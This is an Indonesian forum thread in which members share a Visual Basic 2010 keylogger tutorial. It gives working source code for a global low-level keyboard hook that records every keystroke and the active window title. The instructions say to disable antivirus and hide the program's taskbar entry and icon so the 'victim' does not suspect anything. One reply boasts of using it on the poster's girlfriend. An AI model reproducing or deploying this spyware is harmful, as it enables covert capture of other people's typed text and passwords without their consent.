"U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.D1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.NumPad0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.NumPad1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.NumPad2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.NumPad3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.NumPad4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.NumPad5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.NumPad6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.NumPad7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.NumPad8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.NumPad9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "!" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "@" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "#" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "$" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "%" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "^" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "&" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "*" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "(" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + ")" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "<" ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "_" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "{" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "}" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "|" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ":" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & ">" ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "~" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & Label1.Text ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "9" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + "0" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "a" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "b" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "c" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "d" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "e" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "f" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "g" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "h" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "i" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "j" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "k" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "l" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "m" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "n" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "o" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "p" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "r" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "s" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "t" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "u" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "v" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "w" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "x" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "!" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "@" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "#" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "$" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "%" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "^" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "&" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "*" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "(" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + ")" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "<" ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "_" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "{" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "}" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "|" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ":" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & ">" ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "~" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & Label1.Text End If End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Start() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If strin <> GetActiveWindowTitle() Then TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine strin = GetActiveWindowTitle() End If End Sub End Class klo scripts di atas kurang jelas,lihat scripts yg dah ane kirim disini
6) Setelah semua scripts sudah km masukkin,pada pojok kanan atas di kolum Solution Explorer ,kan ada tulisan RieqyNS13-Tutorial,tulisan ini adalah judul dari aplikasi yg agan2 buat tersebut. Klik kanan pada tulisan itu dan kemudian pilih Properties ,kan muncul kotak,trus pilih Debug,Hilangkan centangan pada tulisan Enable the Visual Studio hosting process untuk lebih jelasnya,lihat gambar berikut :
SS langkah 1 : [You must be registered and logged in to see this image.]
SS langkah 2 : [You must be registered and logged in to see this image.]
7) contengan pada kotak kecil di tulisan tersebut sebaiknya dihilangkan,karena pas waktu proses debuger nanti akan macet,jadi centangannya diilangin aja
7) Tinggal dicoba, TAPI pas dicoba ada pesan kaya gini : [You must be registered and logged in to see this image.]
jangan kuatir,itu ga' ngaruh kok.. jika muncul pesan kaya gitu pas lagi proses Debugger,mending langsung simpan aja dgn Save All.
Credit's : RieqyNS13 very nice gan... manteb dah, ane dah berhasil... misi ane kelar, thx gan sep gan klo gx ngerti bsa tanya kq tpi jgn jail ea gan? and pada proses terakhir jgn sampe pusing and ketuker klo gx | |
| | | bad rank Moderator
Jumlah posting : 489 Join date : 2011-08-24 Age : 29 Lokasi : Dalam Kehancuran...
| Subject: Re: [ask] Keylogger Fri Nov 18, 2011 11:46 pm | |
| - Ryan San Rakagi wrote:
- bad rank wrote:
very nice gan... manteb dah, ane dah berhasil... misi ane kelar, thx gan sep gan klo gx ngerti bsa tanya kq
tpi jgn jail ea gan?
and pada proses terakhir jgn sampe pusing and ketuker klo gx
siiippp, ane berhasil kog... dulu sih prnah coba bikin ndiri, tp gg beres trus, pusing dah pala ane... aman gan aman... wong yang ane jailin pacar ane ndiri kog... hahahahaaa... ngambek ampe skrng tuh... | |
| | | cleon Sesepuh
Jumlah posting : 336 Join date : 2011-04-19 Age : 27 Lokasi : Idung PATRICK !
| Subject: Re: [ask] Keylogger Sat Nov 19, 2011 11:16 am | |
| - Ryan San Rakagi wrote:
- cleon wrote:
- all mau nanya nih,
ada yg punya tutor buat keylogger gk?? ato minta source kodenya keylogger yang kalo ada yg login hasil loginnya kekirim lewat email ada yg punya gk?? pengen buat nih... plss ato keyloggernya aja juga boleh dech,.. jangan lupa kasi tau tutor nya juga ya
neh gan
kebetulan ane msh ada source bikin keylogger
silahkan di coba
membuat keylogger sendiri pasti seru ,karena bisa dibuat untuk menjaili teman,kaya' ngerekam tulisan apa aja yg diketik...
komponen VB 2010 :
1) 1 Timer 2) 1 TextBox 3) 2 Label
========= Aplikasi ini terdeteksi sebagai virus,jadi antivirusnya di disable dulu 1) Susun dan ganti Nama komponen diatas seperti gambar dibawah ini : [You must be registered and logged in to see this image.]
1.5) Klik 1 kali pada Form1 ,dan kemudian pada kotak Properties(pojok kanan bawah) cari tabel ShowInTaskBar,dan ganti menjadi False. lihat gambar berikut : [You must be registered and logged in to see this image.]
2) Klik 1 kali lagi pada Form1 dan pada kotak Properties(pojok kanan bawah) cari tabel ShowIcon,dan ganti menjadi False. gunanya untuk menyembunyikan icon pada saat keylogging dibuka,agar si korban tidak curiga [You must be registered and logged in to see this image.] 3) Setelah itu,klik 2 kali pada Form1 atau tekan F7,dan km akan liat scripts kaya gini : - Code:
-
Public Class Form1
End Class 4) Scripts kaya diatas kita hapus semua,maka tampilan pengcodean akan kosong berwarna putih persih
5) Setelah scripts kaya diatas dah dihapus semua,masukkan scripts berikut : - Code:
-
Public Class Form1 Public Class KeyboardHook Private Const HC_ACTION As Integer = 0 Private Const WH_KEYBOARD_LL As Integer = 13 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT Public vkCode As Integer Public scancode As Integer Public flags As Integer Public time As Integer Public dwExtraInfo As Integer End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _ Alias "SetWindowsHookExA" _ (ByVal idHook As Integer, _ ByVal lpfn As KeyboardProcDelegate, _ ByVal hmod As Integer, _ ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _ (ByVal hHook As Integer, _ ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _ (ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _ (ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys) Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc) KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys)) Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys)) End Select End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam) End Function Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook) MyBase.Finalize() End Sub End Class Private WithEvents kbHook As New KeyboardHook Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 Dim strin As String = Nothing Private Function GetActiveWindowTitle() As String Dim MyStr As String MyStr = New String(Chr(0), 100) GetWindowText(GetForegroundWindow, MyStr, 100) MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) Return MyStr End Function Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then If Key = Keys.A Then TextBox1.Text = TextBox1.Text & "a" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "b" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "c" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "d" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "e" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "f" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "g" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "h" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "i" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "j" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "k" ElseIf Key = Keys.L Then TextBox1.Text = 